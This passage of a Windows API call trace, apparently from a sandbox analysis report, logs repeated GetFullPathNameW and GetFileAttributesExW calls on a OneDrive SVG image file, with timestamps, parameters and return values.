lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.946] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.946] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.947] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.947] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.947] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.948] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.949] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.949] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.950] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.950] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.950] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.950] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.951] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.951] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.951] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.951] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.952] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.952] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.953] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.953] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.953] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.955] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.955] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.956] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.956] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.956] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.959] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.959] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.959] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.960] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.960] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, 